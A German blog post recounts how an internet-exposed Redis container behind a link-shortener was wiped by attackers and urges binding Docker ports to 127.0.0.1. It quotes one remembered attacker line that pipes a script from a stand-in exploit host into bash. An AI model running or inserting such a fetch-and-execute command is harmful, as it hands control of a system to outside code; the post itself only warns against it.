Tatsächlich hatte ich gestern ja schon einmal alles fertig deployt und am Laufen, doch nach wenigen Minuten passierte etwas komisches. Alle meine Links waren weg! Wie konnte das passieren!
Also, sie waren nicht wirklich weg, aber da der GET
-Request ja direkt Redis fragt, und der Index gelöscht war, wirkte es so, als wäre alles weg. Doch wer hat den Index gelöscht? Ein kurzer Blick auf die Ausgabe von redis-cli keys *
brachte Klarheit.
Ich hab leider keinen Screenshot gemacht, aber es war halt sowas in der Art drin wie:
curl -blAh https://toller-exploit.com/install.sh | bash
Naaaja. Wie auch immer. Ich weiß auch relativ genau, wie das passieren konnte, denn ich habe, so wie es im Quick Start Guide for RediSearch stand, Redis per Docker-Befehl gestartet:
docker run -p 6379:6379 redislabs/redisearch:latest
Profis wissen natürlich direkt, was das Problem ist — ich hatte keine weiter konfigurierte Firewall auf dem Server und -p 6379:6379
bindet den Port direkt an 0.0.0.0
und macht ihn damit aus dem Internet verfügbar.
Witzigerweise war mir das sogar bewusst, als ich das Snippet kopierte. Letztens deployte ich nämlich schonmal etwas mit Docker und im Arbeitskontext kopiere ich natürlich nicht einfach irgendeinen Kram, sondern recherchiere erstmal, was die Befehle überhaupt machen.
Erst vor ein paar Tagen, auf der Suche nach einem Bookmarking-Tool, 🙃, fand ich den Blog von Kevin, der in einem Post auch auf genau das Thema eingeht. (Kevin baut übrigens LinkAce, was ich sicher mal ausprobiert hätte, wäre ich nicht zu faul gewesen, es auszuprobieren)
So. Warum habe ich in diesem Fall jetzt eigentlich den Befehl einfach kopiert und nicht, korrekterweise, auf -p 127.0.01:6379:6379
angepasst? Ich hatte vergessen, ob die 127.0.0.1
ans Ende oder an den Anfang kommt und nahm mir fest vor, es später nochmal zu korrigieren. Wer hätte gedacht, dass die fleißigen Portscanner-Hacker nur Minuten brauchen um eine offene Redis-Instanz zu finden?
Das war also der Grund, warum toller.link gestern doch noch nicht erreichbar war. Auch wenn das Redis im Container lief und der “Exploit” sicher auch gar nicht ausgeführt wurde, habe ich die VM nämlich vorsorglich erstmal rebuilded und hatte dann keine Lust mehr, es neu einzurichten. Mittlerweile läuft allerdings alles, juchu!
Die Moral von der Geschichte? Kopiert nicht einfach Kram aus Quick Start Guides, ohne jeden einzelnen Parameter zu hinterfragen. Schreibt euch irgendwo auf, wenn ihr ein Problem eigentlich schonmal gelöst habt!
Wenn ihr solche Guides schreibt: Wie wäre es, den Leser darauf hinzuweisen, dass das nicht gerade der sicherste Weg ist, etwas zu tun? Also klar, Quick Start heißt nie production ready. Aber auch in einer Testumgebung kann es extrem nerven, wenn dir irgendwer die Redis-Datenbank flusht.
Zusätzlich könnte man sich fragen, warum das binden an 0.0.0.0
der Standard ist, aber da wird sich sicher jemand Gedanken gemacht haben!